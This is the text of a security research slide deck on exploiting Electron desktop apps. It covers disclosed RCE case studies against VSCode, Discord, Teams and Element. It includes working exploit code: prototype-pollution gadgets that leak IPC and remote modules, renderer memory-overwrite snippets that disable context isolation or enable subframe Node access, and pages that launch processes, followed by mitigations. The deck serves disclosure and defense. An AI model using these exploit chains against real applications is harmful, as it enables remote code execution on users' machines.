ElectroVolt

Pwning Popular Desktop apps while uncovering new attack surface on Electron

Mohan Sri Rama Krishna, Max Garrett, Aaditya Purani, William Bowling
Who are we

Aaditya Purani (aka knapstack)
- Senior Security Engineer @ REDACTED
- AppSec and Blockchain
- CTFs with perfect blue 🐸

@aaditya_purani

Max Garrett. (aka thegrandpew)
- Security Researcher @ Assetnote
- AppSec and Blockchain
- CTFs with Water Paddler

@thegrandpew
What is Electron?

• Popular Cross-Platform Desktop Application Framework
• Chromium + Node JS = Electron
• Used by VSCode, Teams, Discord, Slack and 500+ more Applications
**Main Process:** Menu, Tray, Node, ipcMain, creates Renderer Process using *BrowserWindow*

**Renderer Process:** DOM API, Node.js API, ipcRenderer
// Main Process (main.js)
const { ipcMain, shell, BrowserWindow } = require('electron')

var win = new BrowserWindow({
    webPreferences: {
        sandbox: false,
        nodeIntegration: true,
        preload: './preload.js'
    }

    contextIsolation: true
})

win.loadURL('https://google.com')

ipcMain.on('openUrl', (event, url) => {
    shell.openExternal(url);
})

// Renderer Process (preload.js)
const { contextBridge, ipcRenderer } = require('electron')

contextBridge.exposeInMainWorld('electron', {
    openUrl: (url) => ipcRenderer.send('openUrl', url)
})

<!-- https://google.com -->
<b>Hello, world</b>
<script>
// No Electron Modules(ipc) here
window.electron.openUrl('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
</script>
Sandboxed Renderer:
(new BrowserWindow({ webPreferences: { sandbox: true, nodeIntegration: true } })).loadURL('//example.com')

Non-Sandboxed Renderer:
(new BrowserWindow({webPreferences:{ sandbox: false, nodeIntegration: true } })).loadURL('//example.com')
Electron App with Node Integration Enabled & Context Isolation Enabled
Terminologies

- Node Integration => NI
- Context Isolation => CI
- Node Integration in Workers => NIW
- Node Integration in Subframes => NISF (Exposes preload)
- Sandbox => SBX
NI: true, CISO: false, SBX: false

- Easy to get a shell as node is exposed to the renderer
- Find a way to embed your JavaScript

Non-Sandboxed Renderer:

(new BrowserWindow({webPreferences:{ sandbox: 0, nodeIntegration: 1, contextIsolation: 0 }}).loadURL('//example.com'))
Electron App with Node Integration Enabled & Context Isolation Disabled
Case Study 1: VSCode RCE bypassing Restricted Mode (CVE-2021-43908)

- Bypasses “Trust Codebase” checkbox, allowing RCE to work even if you open untrusted codebases.

- Limited markdown XSS -> RCE chain

- Bounty: $6,000 USD

Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908
Case Study 1: VS Code RCE Flow

1. Strict CSP
2. postMessage XSS to vscode-webview after iframing
3. channel: content arg: XSS payload
4. channel: do read
5. user directory location
6. Redirection to local attacker controlled file
7. top.require('child_process')

NodeIntegration: true
NodeIntegration: false
I want More!
NI: false/true, CISO: true, SBX: false

• If CISO is enabled, node is not directly available in renderer.

• Node can only be accessed in isolated context via preload.js.

• Two ways to exploit💡
  - Use v8 renderer exploit because of no sandbox
  - Disable Context Isolation somehow (more about this in coming slides)
Electron App with Node Integration Enabled & Context Isolation Disabled
Case Study 2: Discord RCE

1. Was using Electron/12.14.1, Chrome/83.0.4103.122

2. XSS in one of the video embeds but Iframes are sandboxed in electron.

3. Used Electron new-window handler mis-confi in Discord to open https://example.com/exp.html in new Electron Window which has no-sandbox enabled

4. Run v8 renderer exploit (CVE-2021-21220) to get RCE

Bounty: $5,000 USD 🍀
Demo 2

RCE DEMO

https://ctf.s1rlus.ninja/discord/s1rlus_secretss.html?pasdaasasasd

July 9, 2021

https://ctf.s1rlus.ninja/discord/s1rlus_secretss.html?pasdaasasdadasad
Woo, That’s fun. I want even more
NI: false, CISO: false, SBX: true/false

- Sandbox is enabled on renderers (seccomp, win32k lockdown)
- No node modules exposed in renderer
- No Isolation between website you load in webContents and preload/Electron internal code
Electron App with Node Integration disabled & Context Isolation disabled
How to get shell?

**Electron <10**

- Use prototype pollution gadget to leak remote/IPC module.
- Use Remote Module which gives node access.

**Electron 10<version<14**

- Use prototype pollution gadget to leak remote/IPC module.
- If Remote Module Explicitly Enabled
- IPC Misconfiguration

Note: Remote Module bridges JavaScript objects from the main process to the renderer process using IPC.
How to get shell?

Electron >14

• Use prototype pollution gadget to leak IPC module.
• Remote is deprecated
• Only IPC Misconfigurations on the main process
Prototype Pollution

```javascript
const origEndsWith = String.prototype.endsWith;
// overwriting String prototype to leak electron internal require module
String.prototype.endsWith = function(...args) {
    if (args && args[0] === "/electron") {
        String.prototype.endsWith = origEndsWith;
        return true;
    }
    return origEndsWith.apply(this, args);
};

const origCallMethod = Function.prototype.call;
Function.prototype.call = function(...args) {
    if (args[3] && args[3].name === "__webpack_require__") {
        const window.__webpack_require__ = args[3];
        Function.prototype.call = origCallMethod;
    }
    return origCallMethod.apply(this, args);
};
</script>
```
sandbox: false, nodeIntegration: false, contextIsolation: false

```javascript
__webpack_require__[3]('./lib/common/api/shell.ts').default.openExternal('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
```

```javascript
__webpack_require__({"module"})._load("child_process").execFile("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
```

sandbox: true, nodeIntegration: false, contextIsolation: false

```javascript
ipc = __webpack_require__[3]('./lib/renderer/ipc-renderer-internal.ts').ipcRendererInternal;

a=__webpack_require__[3]('./node_modules/process/browser.js')._linkedBinding('electron_renderer_ipc')
```

⚠️ Leaks IPC Renderer Internal (i.e., ELECTRON_* , GUEST_* , etc. channels) and IPC Renderer (developer defined channels)
CVE-2021-39184

**Sandboxed** renderers can obtain thumbnails of arbitrary files through the nativeImage API

```javascript
await ipc.invoke('ELECTRON_NATIVE_IMAGE_CREATE_THUMBANL_FROM_PATH', '/Users/elecro/Docsuments/research/filename.ext', {height: 10, width: 10})
```

Windows:
IThumbnailCache::GetThumbnail

OSX:
QLThumbnailCopyImage

Ref: [https://github.com/electron/electron/security/advisories/GHSA-mpjm-v997-c4h4](https://github.com/electron/electron/security/advisories/GHSA-mpjm-v997-c4h4) (Credits to nornagon)
Case Study 3: Local File Read in MS Teams

1. Using Electron <15

2. XSS in Renderer using 0day in CKEditor (CVE-2021-44165)

3. CISO is disabled on new windows and Sandbox is Enabled.

4. Used prototype pollution gadget to leak IPC using XSS.

5. Send an IPC to browser process which reads given file in file path.

Bounty: $3,000 USD 🍀
MOREEEE
NI: false, CISO: true, SBX: true

- Used by most of the applications
- No node modules exposed in renderer
- IPC cannot be leaked via prototype pollution as CI is enabled
- Sandboxed
Electron App with Node Integration Enabled & Context Isolation Enabled
So, is it just like a XSS in browser?

> Nope!
Enabling Node Integration in SubFrames from compromised Renderer (CVE-2022-29247)
What is nodeIntegrationInSubFrames?

• **nodeIntegrationInSubFrames** – Experimental option for enabling Node.js support in sub-frames such as iframes and child windows if **nodeIntegration enabled** and **sandbox disabled** in the first place.

• If NI is **disabled** and sandbox is **enabled**, then all your preloads will load for **every** iframe

• Node is not available on sandboxed frames/windows, only APIs which uses IPC can be exposed using contextBridge
nodeIntegrationInSubFrames: false

Renderer Process

```
const { contextBridge, ipcRenderer } = require('electron')
contextBridge.exposeInMainWorld('electron',
  { openUrl: (url) => ipcRenderer.send('openUrl', url) }
)
```

Iframe in Main Window (//pwn.af) – Error Thrown

```
<html><iframe src='//pwn.af'></iframe></html><script>
window.electron.openUrl('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
</script>
```

Main Process

```
// Main Process (main.js)
const { ipcMain, shell } = require('electron')
ipcMain.on('openUrl', (event, url) => {
  shell.openExternal(url);
})

var win = new BrowserWindow({
  webPreferences: {
    sandbox: false,
    nodeIntegration: true,
    nodeIntegrationInSubFrames: false,
    preload: './preload.js'
  }
  contextIsolation: true
})
win.loadURL('http://google.com')

ipcMain.on('openUrl', (event, url) => {
  shell.openExternal(url);
})
```
nodeIntegrationInSubFrames: true

Renderer Process

preload.js (Isolated World/context)

```javascript
const { contextBridge, ipcRenderer } = require('electron')
contextBridge.exposeInMainWorld('electron', {
  openUrl: (url) => ipcRenderer.send('openUrl',url)
})
```

Renderer Process (//google.com), Main window

```html
<iframe src='//pwn.af'></iframe>
<script>
window.electron.openUrl('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')</script>
```

Iframe in Main Window (//pwn.af) – No Error Thrown, Calc pops

```html
<script>
window.electron.openUrl('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
</script>
```

Main Process

```javascript
// Main Process (main.js)
const { ipcMain, shell } = require('electron')
ipcMain.on('openUrl', (event, url) => {
  shell.openExternal(url);
})

var win =new BrowserWindow({
  webPreferences: {
    sandbox: false,
    nodeIntegration: true,
    nodeIntegrationInSubFrames: true,
    preload: './preload.js'
  }
  contextIsolation: true
})

win.loadURL('//google.com')

ipcMain.on('openUrl', (event, url) => {
  shell.openExternal(url);
})
```
nodeIntegrationInSubFrames: false

• Most of the time we get XSS in the subframe or iframes

• And nodeIntegrationInSubFrames is mostly disabled

• No access to contextBridge exposed APIs
Implementation of Node Integration in SubFrames

Electron patches blink WebPreferences and adds settings like `node_integration_sub_frames`, `context_isolation`, etc.
Implementation of Node Integration in SubFrames

If `node_integration_in_sub_frames` on WebPreferences is true, then expose preload contextBridge API

```cpp
/*
*/
/shell/renderer/electron_sandboxed_renderer_client.cc
*/

void ElectronSandboxedRendererClient::DidCreateScriptContext(
  v8::Handle<v8::Context> context,
  content::RenderFrame* render_frame) {
  // Only allow preload for the main frame or
  // For devtools we still want to run the preload_bundle script
  // Or when nodeSupport is explicitly enabled in sub frames
  bool is_main_frame = render_frame->IsMainFrame();
  bool is_devtools =
    IsDevTools(render_frame) || IsDevToolsExtension(render_frame);
  bool allow_node_in_sub_frames =
    render_frame->GetBlinkPreferences().node_integration_in_sub_frames;
  bool should_load_preload =
    (is_main_frame || is_devtools || allow_node_in_sub_frames) &&
    !IsWebViewFrame(context, render_frame);
  if (!should_load_preload)
    return;

  ...removed for brevity...
}
```
Enabling NISF using renderer exploit

• An astute reader will notice that the check is on the renderer process.
• Use renderer v8 exploit and we can set node_integration_in_sub_frames to 1 😈

Reference:
https://github.com/electron/electron/blob/bd10b19b0cdc46cdeb570af89305e64541b679/shell/renderer/electron_sandboxed_renderer_client.cc#L217
Enabling NISF using renderer exploit

```javascript
var win = addrof(window);
console.log("[+] window addrof : " + win.hex());

var addr1 = half_read(win + 0x18n);
console.log("[+] window : " + addr1.hex());

var addr2 = full_read(addr1 + 0xf8n);
console.log("[+] add2: " + addr2.hex());

var web_pref = addr2 + 0x50008n; //WebPreferences_offset
console.log("[+] web_pref addr: " + web_pref.hex());

var nisf = web_pref + 0xlacn; //node_integrations_in_subframes_offset
var nisf_val = full_read(nisf);
console.log("[+] nisf val = " + nisf_val.hex());

var overwrite = nisf_val | 0x0000000000000001n //set to 1 from 0
full_write(nisf, overwrite);
var nisf_val = full_read(nisf);
console.log("[+] nisf val overwritten = " + nisf_val.hex());
```
Case Study 4: Element RCE (CVE-2022-23597)

- Using Chrome/91.0.4472.164, Electron/13.5.1.
- XSS on embed via deep link mis-config.
- No contextBridge API on embed by default.
- Run Renderer v8 Exploit to expose contextBridge API on embed by enabling NISF.
Case Study 4: Element RCE (CVE-2022-23597)

Renderer Process

// Renderer Process
// nodeIntegrationInSubFrames: false, SBX:true, 
// NI:false, CISO: true

// preload.js (Isolated World/context)
const { contextBridge, ipcRenderer } = 
require('electron')

callbackBridge.exposeInMainWorld("electron",{
    send(channel: string, ...args: any[]): void {
        if (!CHANNELS.includes(channel)) {
            console.error('Unknown IPC channel ${channel}
        ignored`);return;
    }
    ipcRenderer.send(channel, ...args);
});

Main Process

// Main Process (main.js)
// In main process.

const { ipcMain, shell } = require('electron')
ipcMain.on('userDownloadOpen', function(evt, { path }) {
    shell.openPath(path);
})
```javascript
var win = addrof(window);
console.log("[+] window addrof : " + win.hex());
var addr1 = half_read(win + 0x18n);
console.log("[+] window : " + addr1.hex());
var addr2 = full_read(addr1 + 0xf8n);
console.log("[+] add2: " + addr2.hex());
var web_pref = addr2 + 0x50008n; //WebPreferences offset
console.log("[+] web_pref addr: " + web_pref.hex());
var nisf = web_pref + 0x1acn; // node_integrations_in_subframes offset
var nisf_val = full_read(nisf);
console.log("[+] nisf val = "+ nisf_val.hex());
var overwrite = nisf_val | 0x0000000000000001n //set to 1 from 0
full_write(nisf, overwrite);
var nisf_val = full_read(nisf);
console.log("[+] nisf val overwritten = "+ nisf_val.hex());

// create iframe with srcdoc which has contextBridge API
frame = document.createElement("iframe")
frame.srcdoc="<script>electron.send('userDownloadOpen',
{path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})</script>";
document.body.appendChild(frame)
```
Disabling Context Isolation from compromised Renderer (CVE-2022-29247)
Implementation of Context Isolation

Electron patches blink WebPreferences and adds settings like node_integration_sub_frames, context_isolation, etc.
Implementation of Context Isolation

If context_isolation on WebPreferences is true, create isolated context

```cpp
/*
/shell/renderer/electron_renderer_frame_observer.cc */

void ElectronRenderFrameObserver::DidInstallConditionalFeatures(
    v8::Handle<v8::Context> context,
    int world_id) {

    // removed for brevity
    auto prefs = render_frame->GetBlinkPreferences();
    bool use_context_isolation = prefs.context_isolation;
    bool is_main_world = IsMainWorld(world_id);
    bool is_main_frame = render_frame->IsMainFrame();
    bool allow_node_in_sub_frames = prefs.node_integration_in_sub_frames;

    bool should_create_isolated_context =
        use_context_isolation && is_main_world &&
        (is_main_frame || allow_node_in_sub_frames);

    if (should_create_isolated_context) {
        CreateIsolatedWorldContext();
        if (!renderer_client->IsWebViewFrame(context, render_frame_))
            renderer_client_->SetupMainWorldOverrides(context, render_frame_);
    }
}```
Disabling CISO using renderer exploit

- Same story using v8 renderer exploit 🌐 and we can set context_isolation to 0 😈

Reference:
https://github.com/electron/electron/blob/35ac7fb8e61be744206918684a6881d460591620/shell/renderer/electron_render_frame_observer.cc#L133
Disabling CISO using renderer exploit

```javascript
var win = addrOf(window);
console.log("[+] win address : " + win.hex());
var addr1 = half_read(win + 0x18n);
console.log("[+] window : " + addr1.hex());
var addr2 = full_read(addr1 + 0xf8n);
console.log("[+] add2: " + addr2.hex());

var web_pref = addr2 + 0x50000n;
console.log("[+] webPref addr: " + web_pref.hex());

var ciso = web_pref + 0x184n //CISO offset

var ciso_val = full_read(ciso);
console.log("[+] ciso val = " + ciso_val.hex());

var overwrite = ciso_val & (0xffffffffffffff00n); //overwrite to 0
full_write(ciso, overwrite);
console.log("[+] ciso val overwritten = " + ciso_val.hex());
```
Case Study 5: RCE in Undisclosed app

Bounty: $5,000 USD 💰

- Using Chrome/94.0.4606.71, Electron/15.1.2.
- A “feature” to embed untrusted content in iframe

```javascript
// Renderer Process
// nodeIntegrationInSubFrames: false, SBX: true, NI: false, CISO: true

// preload.js (Isolated World/context)
const { contextBridge, ipcRenderer } = require('electron')

const openExternalUrl = url => {
  if (!isAllowedUrl(url)) return;
  // sanitization only https://
  ipcRenderer.send('open_external', url);
}
contextBridge.exposeInMainWorld('electron', {
  openExternalUrl: url => {
    openExternalUrl(url);
  },
});

// Main Process (main.js)
// In main process.

const { ipcMain, shell } = require('electron')

ipcMain.on('open_external', (event, url) => {
  shell.openExternal(url);
});
```
Case Study 5: RCE in Undisclosed app

- Enabling NISF, doesn’t work because there is URL sanitization.
- But we can disable context isolation and leak ipcRenderer and send `ipcRenderer.send('open_external', 'file:///calc')`

```javascript
// Renderer Process
// nodeIntegrationInSubFrames: false, SBOX: true, NI: false, CISO: true

// preload.js (Isolated World/context)
const { contextBridge, ipcRenderer } = require('electron')
const openExternalUrl = url => {
  if (!isAllowedUrl(url)) return;
  // sanitization only https://
  ipcRenderer.send('open_external', url);
};
contextBridge.exposeInMainWorld('electron', {
  openExternalUrl: url => {
    openExternalUrl(url);
  },
});

// Main Process (main.js)
// In main process.

const { ipcMain, shell } = require('electron')

ipcMain.on('open_external', (event, url) => {
  shell.openExternal(url);
});
```
index.html

```javascript
//index.html
var win = addrof(window);
console.log("[+] window addrof : " + win.hex());
var addr1 = half_read(win + 0x18n);
console.log("[+] window : " + addr1.hex());
var addr2 = full_read(addr1 + 0xf8n);
console.log("[+] add2: " + addr2.hex());
var web_pref = addr2 + 0x50008n;
console.log("[+] web_pref addr: " + web_pref.hex());
var ciso = web_pref + 0x184n //ciso offset
var ciso_val = full_read(ciso);
console.log("[+] ciso val = " + ciso_val.hex());
var overwrite = ciso_val &
(0xffffffffffffff00n); //overwrite to 0
full_write(ciso, overwrite);
console.log("[+] ciso val overwritten = " + ciso_val.hex());

location = '/leak.html'
```

leak.html

```javascript
<!-- leak.html prototype pollution gadget to leak ipc -->
<html><b>In leak, popping calc</b></html>
<script>
const origEndsWith = String.prototype.endsWith;
String.prototype.endsWith = function(...args) {
    if (args & args[0] === "/electon") {
        return true;
    }
    return origEndsWith.apply(this, args);
};

const origCallMethod = Function.prototype.call;
Function.prototype.call = function(...args) {
    if (args[3] & args[3].name === "__webpack_require__") {
        const __webpack_require__ = args[3];
        window.pwn = args;
        var ipc = pwn[3]('./lib/renderer/api/ipc-renderer.ts').default;
        ipc.send('open_external', 'file:///System/Applications/Calculator.app')
    }
    return origCallMethod.apply(this, args);
}
</script></html>
```

Prototype pollution to leak IPC
Case Study 6: Live Streaming Service RCE

- Using a pretty old version of Electron (11.4.5) with remote module enabled.
- XSS in one of the embed.
- Leverage it to disable Context Isolation
- Leak Remote Module using Prototype Pollution Gadget
- Get shell remote.process.binding('spawn_sync')
Disabling CISO on Old Electron

- In old electron, context_isolation is implemented differently.
- Doesn’t use WebPreferences
- Stores on renderer_client_

```c++
/*
/shell/renderer/electron_render_frame_observer.cc */

/*

void ElectronRenderFrameObserver::DidInstallConditionalFeatures(
  v8::Handle<v8::Context> context,
  int world_id) {

  //removed for brevity

  bool use_context_isolation = renderer_client_ \-> isolated_world();
  bool is_main_world = IsMainWorld(world_id);
  bool is_main_frame = render_frame_ \-> IsMainFrame();
  bool allow_node_in_sub_frames = prefs.node_integration_in_sub_frames;
  bool should_create_isolated_context =
    use_context_isolation && is_main_world &&
    (is_main_frame || allow_node_in_sub_frames);

  if (should_create_isolated_context) {
    CreateIsolatedWorldContext();
    if (!renderer_client_ \-> IsWebViewFrame(context, render_frame_))
      renderer_client_ \-> SetupMainWorldOverrides(context, render_frame_);
  }
*/
```
Disabling CISO on Old Electron

- Prototype Pollution Gadget only work if the current window is MainFrame (top window)

- We can make ourselves top by overwriting IsMainFrame to 1 😈

Reference:
Disabling CISO exploit on old Electron

```javascript
var window_addr = addrof(window);
var window_struct = half_aar64(window_addr + 0x18n);
var frame = full_aar64(window_struct + 0x48n);
var webframe = frame - 0xa8n; // -8n
var render_frame = full_aar64(webframe) - 0xb8n;
console.log('[+] overwriting isMainFrame ')
full_aaw64(render_frame + 0xd8n, 0x1n); // overwriting isMainFrame = 1
var observer_ = full_aar64(render_frame + 0x188n);
var electron_observer = full_aar64(observer_ + 0x10n);
var routing_id = full_aar64(electron_observer + 0x18n);
console.log('[+] routing id = " + routing_id.hex());
var render_client = full_aar64(electron_observer + 0x28n);
console.log('[+] render_client = " + render_client.hex());
var ciso = full_aar64(render_client + 0x48n);
console.log('[+] ciso = " + ciso.hex());
full_aaw64(render_client + 0x48n, 0x0n); // overwriting ciso = 0
var ciso = full_aar64(render_client + 0x48n);
console.log('[+] ciso after = " + ciso.hex());
console.log('[+] going to leak")
location = './leak.html?as=as';
```
Disabling CISO exploit on old Electron

```javascript
// leak.html
function calc() {
  console.log("popping calculator");
  a = pwn3('./lib/renderers/api/remote.ts');
  a.process.bindings('spawn_sync').spawn({ file: "open", args: ['open', "/System/Applications/Calculator.app"] });
}

const origEndsWith = String.prototype.endsWith;
String.prototype.endsWith = function(...args) {
  if (args && args[0] === "/electron") return true;
  return origEndsWith.apply(this, args);
};

const origCallMethod = Function.prototype.call;
Function.prototype.call = function(...args) {
  if (args.length === 4) {
    window.pwn = args;
    console.log("found webpack require")
    setTimeout(calc, 100);
  }
  return origCallMethod.apply(this, args);
};
```
Same Site Origin Spoofing
Electron Application

Process 1: https://main.example.com

Embeds:
1. https://youtube.com
2. https://sandbox.example.com

Window:
https://sandbox.example.com

document._url_ = main.example.com
security_context_.security_origin_.port = 443

Process 2: https://youtube.com

Same-Site Origin Spoofing
**Patch Gap**

- There is a **noticeable** patch gap between chrome <-> Electron <-> Electron Apps which makes most of them susceptible to these attacks.

- Sandbox Escapes from Chromium can also be used.
Mitigations
Mitigations

• Enable all the security flags
• Don’t use embeds which don’t have good security track record (third party embed)
• Mitigate security vulnerabilities (XSS, Open URL Redirection, etc.) on all your assets (even subdomains)
• Upgrade Electron regularly to make sure patch gap is not large
• Don’t implement sensitive IPC on main process
• Ensure that all IPC message handlers appropriately validate senderFrame
• Ensure Adequate Segregation is present if you’re rolling out your own library which combines browser and application-level code

Read: https://www.electronjs.org/docs/latest/tutorial/security
Epilogue

• In total we were able to achieve RCE on 20 different Electron applications

• Examples: JupyterLab, Mattermost, Rocket.Chat, Notion, BaseCamp and the ones covered within this talk are few of them
Research Team

- Mohan Sri Rama Krishna Pedhapati @S1r1u5_
- William Bowling @vakzz
- Max Garrett @TheGrandPew
- Aaditya Purani @aaditya_purani
Three Takeaways

• Electron apps are ideal adversarial (or red team) target as users will click anywhere or open messages.

• Dig deeper into the framework you’re auditing and don’t limit yourself to only the application layer

• Minimize attack surface on the apps as much as possible. (Open URL redirect can also be turned into RCE some day)
THANK YOU!

Want to understand in detail about our findings and secure your Electron apps?

https://electrovolt.io